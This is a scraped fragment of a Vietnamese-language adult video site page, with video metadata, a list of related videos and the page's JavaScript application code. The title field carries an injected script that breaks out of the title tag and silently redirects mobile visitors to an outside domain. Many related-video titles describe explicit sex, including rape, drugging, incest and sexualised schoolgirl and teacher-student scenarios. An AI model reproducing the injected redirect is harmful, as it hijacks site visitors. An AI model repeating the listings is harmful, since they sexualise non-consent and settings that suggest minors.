</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Tiếp viên hàng không xinh đẹp chất lượng cao với đôi chân thon dài, đồ chơi tình dục rung và cảnh xuất tinh.
Tiếp viên hàng không xinh đẹp chất lượng cao với đôi chân thon dài, đồ chơi tình dục rung và cảnh xuất tinh.","site_id":0,"video_url":"https://lsbbf10.com/20260708/FD3kIK8E/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvNmI2NGEwZWRiODUxZGY5MDJjYjFjNjQ0NDg3Y2Y3YmEuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"8.0","view_count":360,"description":" Nữ tiếp viên hàng không chất lượng cao với đôi chân đẹp, thân hình quyến rũ, đồ chơi tình dục rung, khả năng thâm nhập sâu và quan hệ tình dục mãnh liệt.","tag":["极品美腿空姐上怼震动棒下插肉棒_中出疯狂爆操.","s_keywords":"极品美腿空姐上怼震动棒下插肉棒_中出疯狂爆操.","s_description":"Tiếp viên hàng không xinh đẹp chất lượng cao với đôi chân thon dài, đồ chơi tình dục rung và cảnh xuất tinh.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODBmZDhmNDUyZDZlM2E2ZTU5N2I0Zjg4NTZiOWRmZDQuanBn.cache","vod_id":19197226,"title":"Cô gái cực kỳ xinh đẹp liên tục lên đỉnh bên trong mà không dùng bao cao su. Oona Aya, Oona Umi, Babilon - Delusion Tribe","lastmod":"2026-05-06","duration":"2:20:17","url":"/play/19197226.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MzAvOWVkZjJmOWE3YzBhNWQ0NjZkYzcyYzY2Zjc1OThjYmQuanBn.cache","vod_id":19141459,"title":"WAAA515 Một nữ giáo viên muốn quan hệ tình dục với một học sinh đang trong giai đoạn hưng phấn tình dục trong giờ nghỉ giữa các tiết học - 10 tình huống xuất tinh thực tế","lastmod":"2025-06-29","duration":"1:59:42","url":"/play/19141459.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZTg1ZTFjYjY1YjkwMjQyYjg4YzdlODE2MjNjNDk2YzYuanBn.cache","vod_id":19165298,"title":"Hãy để thân hình cao ráo, quyến rũ đạt cực khoái cho đến khi toàn bộ dịch cơ thể được giải phóng. Niềm khoái cảm mãnh liệt vẫn tiếp tục ngay cả sau khi xuất tinh sâu. (Qing Gong Ren Ai EBWH-248)","lastmod":"2025-12-13","duration":"1:58:54","url":"/play/19165298.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MDIvODU5ODViZjkzZjQ3Nzc5YWE4ZjMwOWQxZjdkZDQzMzAuanBn.cache","vod_id":19132598,"title":"299EWDX-457 Bà nội trợ nổi tiếng với vòng một cỡ I bị bắt cóc và bị xuất tinh lên người. Vòng ba to lớn của cô ấy thật tục tĩu!","lastmod":"2025-05-02","duration":"1:01:38","url":"/play/19132598.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYTk0NTRiNjkwMzhiNGQ4MDIxMjg2YmU4MDkwODQ3YjYuanBn.cache","vod_id":19051129,"title":"Một buổi học kèm riêng của nữ sinh lẳng lơ đã biến thành một bài học trên giường, khi người thầy dùng dương vật của mình để dạy cô ta các tư thế quan hệ tình dục.","lastmod":"2025-03-26","duration":"0:14:45","url":"/play/19051129.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTQ2N2M1YmZiZDJjMGE0YjRmMTkyNTg5OTRhMzc2NDAuanBn.cache","vod_id":19062607,"title":"FC2PPV-578890 [Quay phim riêng] Maki, 18 tuổi, sinh viên đại học ngực khủng, gọn gàng và dễ thương, xuất tinh nhiều bên trong cô ấy.","lastmod":"2025-03-26","duration":"1:06:17","url":"/play/19062607.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMjMtMS9kMjFhMmQxNjU4NDU0YmViN2Q1OGI0ZjM1ODQzYTRmMS5qcGc=.cache","vod_id":19182359,"title":"Một người phụ nữ trẻ đã kết hôn ngoại tình với một người thừa kế giàu có đời thứ hai, tự nguyện trở thành món đồ chơi tình dục của anh ta trong bộ trang phục người hầu gái. Chồng cô gọi điện trong khi cô đang ăn dương vật của anh ta; người phụ nữ nói rằng cô đang ăn, điều này hoàn toàn thành thật và dường như không làm cô khó chịu.","lastmod":"2026-02-23","duration":"0:35:25","url":"/play/19182359.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOTBmMTBhNmEwYjNjZDQzZGVkYjJlNDZmODRlY2NmYmMuanBn.cache","vod_id":19185696,"title":"Một câu chuyện về anh chị em: Sau khi người chị gái ngực khủng và người em trai ham muốn tình dục mãnh liệt đổi bạn tình, họ không thể tránh khỏi việc quan hệ loạn luân và xuất tinh! DVMM-350","lastmod":"2026-03-11","duration":"2:03:19","url":"/play/19185696.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTk1YzA4MWJjNzA0YmEzMjljZjc1MzYzMTFjNjYzZjMuanBn.cache","vod_id":19104915,"title":"NNPJ-560: Một chuyến đi chơi trong ngày với vợ của một người nổi tiếng không thích sự chú ý của công chúng, và bốn buổi hẹn hò tại khách sạn với việc xuất tinh bên trong do thiếu quan hệ tình dục.","lastmod":"2025-03-26","duration":"2:30:46","url":"/play/19104915.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzQ5MGE1MzQzYTUyYjEzZTNjNGM4YTAxYThkOTQyYjcuanBn.cache","vod_id":19192234,"title":"Một cô gái trẻ mặc trang phục Lolita bị người tình già của mình cưỡng hiếp và xâm hại tình dục một cách dã man; tiếng rên rỉ của cô ấy rất ngọt ngào và vẻ ngoài cũng không tệ.","lastmod":"2026-04-12","duration":"0:15:54","url":"/play/19192234.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMjctMS9iZDVjMzY5MWEzYzA0ZjViYTM1MTNmYzIxYTk4OGYyMy5qcGc=.cache","vod_id":19183104,"title":"Nữ thần nghèo, dương vật của người đàn ông giàu, gái gọi cao cấp Shan Shan bị cưỡng hiếp bởi \"bố nuôi\" giàu có.","lastmod":"2026-02-27","duration":"0:08:50","url":"/play/19183104.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODMyMzY1MTExMDRiODEyMzUwNGMwOTAyZDJiZDc3YmMuanBn.cache","vod_id":19086429,"title":"XEM Ngoại tình: Cô vợ giàu có ngực khủng và người chú thân hình đầy đặn quan hệ tình dục - Yoshino Yuria Yoshino Yuri.","lastmod":"2025-03-26","duration":"2:30:26","url":"/play/19086429.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjIyOGJmOTFmZjIzOTQ0YTcyMDQ0YWUzN2NhMzk1YTAuanBn.cache","vod_id":19194790,"title":"Phiên bản đồng phục tiếp viên hàng không: Một sự tương phản rõ rệt giữa hình ảnh những tiếp viên hàng không có vẻ hiền lành và đức hạnh ngoài đời thực và các mối quan hệ riêng tư của họ, bao gồm cả những người đàn ông bao nuôi và quan hệ tình dục bừa bãi.","lastmod":"2026-04-24","duration":"0:52:49","url":"/play/19194790.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjA3NDVlMGQ0ZjkxNGNiNDc4ZGIyNDY5OTQ0NWJiMzcuanBn.cache","vod_id":19089850,"title":"[Bạn gái năm cuối cấp ba nổi điên và chơi hết mình] Nữ sinh mặc đồng phục thủy thủ, dây đeo tất đen, quỳ xuống liếm dương vật, phụ nữ ngồi trên ghế sofa, lắc mạnh, không dùng bao cao su.","lastmod":"2025-03-26","duration":"0:12:50","url":"/play/19089850.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTYvZjRlZDllNGY2MDdlZGZhNzBlNTM3N2RmMjkzM2Q2NDMuanBn.cache","vod_id":19154871,"title":"Hành vi vô đạo đức khi ngủ với phụ nữ trong rạp chiếu phim; dương vật xấu xí của những gã đàn ông thô tục làm ô uế người vợ đức hạnh – Kana Mito JUQ979","lastmod":"2025-09-15","duration":"2:24:32","url":"/play/19154871.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODFmNjgyYzY5ZjNjNjU4Mzg5ZTYxODEzMWVlZTU1YWMuanBn.cache","vod_id":19188200,"title":"Một nữ sinh viên đại học với tính cách nóng nảy và trái ngược đã bị lộ mặt; những bức ảnh tự sướng không đứng đắn với bạn trai của cô đã bị rò rỉ, cho thấy quan hệ tình dục không an toàn và những hành vi xâm phạm tình dục táo bạo.","lastmod":"2026-03-22","duration":"0:40:34","url":"/play/19188200.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWY4OGFmNGVjYzgxOTFiMjdhNjM0MjEyZDk2NzViMjAuanBn.cache","vod_id":19039604,"title":"▌Xin Youli▌Tranh giành \"của quý\" với bạn thân, rên rỉ lớn tiếng, không có quý cô nào dưới sự kìm kẹp của phim người lớn.","lastmod":"2025-03-26","duration":"0:10:28","url":"/play/19039604.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNTgxOTExNWU2NWJhMDIyMTM0Y2I4MTE2ODNkOWVjYzguanBn.cache","vod_id":19027953,"title":"Trong khi sếp tôi đi công tác hai ngày, tôi đã bị con gái ông ấy quyến rũ, cô ấy đang ở nhà tôi. Cuối cùng tôi đã quan hệ tình dục với cô ấy chín lần trong hai ngày đó... (Ichikawa Aima)","lastmod":"2025-03-25","duration":"1:57:16","url":"/play/19027953.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNWY5NGZkYTA4ZDRjNWM0MTdiMjFjNmFhYTUxNjlkNDIuanBn.cache","vod_id":19046606,"title":"Cô sinh viên xinh đẹp với bộ ngực lớn bị xuất tinh vào bên trong","lastmod":"2025-03-26","duration":"0:50:01","url":"/play/19046606.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMGRiZWUxYTEwMmRhOGMyNmNmMGY3ZDQyOGUzODZjZDEuanBn.cache","vod_id":19119100,"title":"Al Park Chae-young đã bị một người đàn ông da đen có dương vật rất lớn cưỡng hiếp dã man.","lastmod":"2025-03-26","duration":"0:23:04","url":"/play/19119100.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMTMzNTA2NjM5MzhhMTJiYjkyZjVjNWJhY2YyOGY5NTcuanBn.cache","vod_id":19094400,"title":"CJOD-386 Cô em gái mông to đến đây để làm gái điếm. Xuất tinh được chấp nhận. Khôi phục lại tiệm massage dành cho nam giới châu Á.","lastmod":"2025-03-26","duration":"2:51:28","url":"/play/19094400.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzlhMDg3Y2FlMjFlYTIxZDYyNDFkMDk5MzVmM2UyYjEuanBn.cache","vod_id":19034731,"title":"Một cô gái trẻ xinh đẹp tham gia vào cuộc gặp gỡ ba người đầy đam mê, một người liếm âm đạo của cô ấy và người kia đưa miệng vào. Cô ấy giữ vững eo trong khi thay đổi tư thế và thúc mạnh ở tư thế cưỡi ngựa.","lastmod":"2025-03-26","duration":"1:04:47","url":"/play/19034731.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MTIvZmUwOTM2YzhkZDI3OGM3MzFkZWZjMTIxOWM0NzYyNTcuanBn.cache","vod_id":19138865,"title":"Một cô gái trẻ ở Vô Tích đã bị lừa đánh thuốc mê và bị tấn công tình dục thay phiên nhau.","lastmod":"2025-06-12","duration":"0:12:19","url":"/play/19138865.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZmRjNjNmMTg0YmMwOGQ2YTE1ZjcxMGEyNzRlYWJhNTkuanBn.cache","vod_id":19113314,"title":"Loạt phim \"Học giả hàng đầu\" - một khách sạn với màn quan hệ tình dục thâm nhập kép đầy đam mê giữa hai người đẹp chân dài, họ thực hiện hành động quan hệ tình dục bằng miệng và liếm dương vật to, cưỡi và giao hợp mạnh mẽ trong khi mút ngực và kích thích âm đạo của cô ấy.","lastmod":"2025-03-26","duration":"0:49:15","url":"/play/19113314.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Tiếp viên hàng không xinh đẹp chất lượng cao với đôi chân thon dài, đồ chơi tình dục rung và cảnh xuất tinh.',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}